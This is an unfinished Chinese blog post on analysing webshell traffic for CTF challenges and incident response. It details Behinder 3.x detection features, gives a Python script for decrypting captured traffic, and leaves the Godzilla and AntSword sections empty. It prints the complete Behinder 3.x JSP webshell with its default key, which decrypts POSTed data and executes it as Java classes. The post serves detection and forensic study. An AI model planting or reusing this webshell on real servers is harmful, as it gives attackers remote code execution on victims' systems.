CTF中Webshell流量分析指北

一篇对应急响应或者比赛中数据包的Webshell流量分析,包含冰蝎2.x-4.x和蚁剑,Godzilla(哥斯拉),菜刀等不同版本不同木马文件与不同加密方式的文章。

文章没补完,最近忙着毕业找工作,又要鸽鸽鸽咯,but 文章应该是还会继续更新的。

先说说问什么要写这篇文章。大概是两年前,恰好碰到了这样的一道冰蝎流量分析的赛题,所以就糊弄的学了一下本来是要深入的学习一下,但是比较懒一直咕咕咕。注:文章都是基于原版shell工具,没有魔改内容。

0x01 Behinder(冰蝎)Webshell流量分析

0x01 工具介绍

冰蝎这款webshell工具是国内安全工作者采用Java语言开发的,工作原理是利用 Java Servlet 技术,将自身伪装成一个正常的 Web 应用程序组件,通过在目标服务器上部署恶意的 Java 代码,建立起攻击者与目标服务器之间的通信通道。当攻击者向目标服务器发送特定的请求时,冰蝎能够接收并执行攻击者发送的命令,同时将执行结果返回给攻击者。

0x02 2.x版本的流量分析

2.x 版本:在 1.x 版本基础上进行了功能的完善和优化,不过在与安全设备的对抗中,逐渐暴露出一些特征容易被检测到的问题,例如连接 Webshell 时存在密钥协商过程,且该过程是纯明文的数据交换,这给安全检测提供了可识别的特征

0x01 JSP马

0x02 PHP马

0x03 3.x版本的流量分析

相比较2.x版本,3.x版本的冰蝎取消了动态交互加密,也是说内置了密钥,也可以自行设置对去特征又进了一步。在木马中的内置密钥为rebeyond的md5值前十六位,rebeyond则作为密码链接。如果是自定密码的话,需要在木马中更改key密钥值将密码md5加密取前十六位填入key

0x01 JSP马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";
// 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

可看发现在加密上和2.x版本并没有太大变化

流量特征

请求包中 content - length 的值可能为 5740 或 5720(根据 Java 版本变化)。每个请求头中可能包含Pragma: no - cache和Cache - Control: no - cache,Accept 头包含多种 MIME 类型,如Accept: text/html,image/gif,image/jpeg, *;q=.2, /;q=.2。

这属于是强特征了,

还有辅助的弱特征,User-Agent头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

这些都是比较久远的UA头,每次传输都会随机挑选一个UA头

至此前置条件已经分析完成,我们分析一下木马的加密传输流量并进行解密

可以看到通过api/upload上传JSP的木马,上传成功后服务器返回msg信息,将文件重命名并返回了访问地址

使用contains 语法将木马筛选出来,可以看到在第一条流量访问木马后开始进行POST交互,有两条流量会进行密钥协商具体密钥协商的过程,会发送两次GET请求,通过在URL中pass参数下携带的随机数生成两个密钥,二者作用不同

● 第一次GET请求:将服务端产生的密钥写入session,session与会话绑定,为了区别不同的客户端
● 第二次GET请求:获取用户对向服务端传递语句加密的AES128加密key

第二条密钥就是我们所需要解密流量的正确密钥,得到密钥我们再探究一下流量的加密逻辑

先进行AES的加密,在进行b64的编码,所以我们还原脚本应该是先进行b64解码再进行AES解密

由于JSP脚本是将执行的代码写入到class文件,和PHP有点不一样,所以我们解密后的流量也需要写入的class文件,再进行class文件反编译。

将发送到服务器的加密流量进行解密并写入到class文件中,使用在线网站对class反编译或者使用本地反编译

在线反编译class:https://www.shenmeapp.com/decompiler

离线反编译class:https://github.com/skylot/jadx

对服务器返回的流量进行解密我们需要将二进制数据转换一下并重复向服务器发送的加密流量重新解密一次就行

贴上一份解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
from Crypto.Cipher import AES
import binascii
import json

def aes_decode(data, key):
try:
aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器
decrypted_text = aes.decrypt(data) # 解密
decrypted_text = decrypted_text[:-(decrypted_text[-1])]
except Exception as e:
print(e)
return decrypted_text
# # 解密返回包
key = 'b99f657b04941030'
s = "需要解密的服务端返回Hex数据"
s = binascii.a2b_hex(s)
s = aes_decode(s,key)
print(s)
s = json.loads(s)
print(base64.b64decode(s['msg']))
# 解密请求包
# key = 'b99f657b04941030' # 密钥长度必须为162432位,分别对应AES-128、AES-192和AES-256
# data= "需要解密的b64编码后的数据"
# data=base64.b64decode(data)
# print(data)
# a = aes_decode(data,key)
# # print(a)
# open('4.class','wb').write(a)

0x04 4.x版本的流量分析

4.x版本的特征

0x01 JSP马

0x02 Godzilla(哥斯拉)Webshell流量分析

0x03 AntSword(蚁剑)Webshell流量分析


CTF中Webshell流量分析指北
http://52yang.top/2025/05/20/2025-Webshell/
Author
Ch1p3
Posted on
May 20, 2025
Licensed under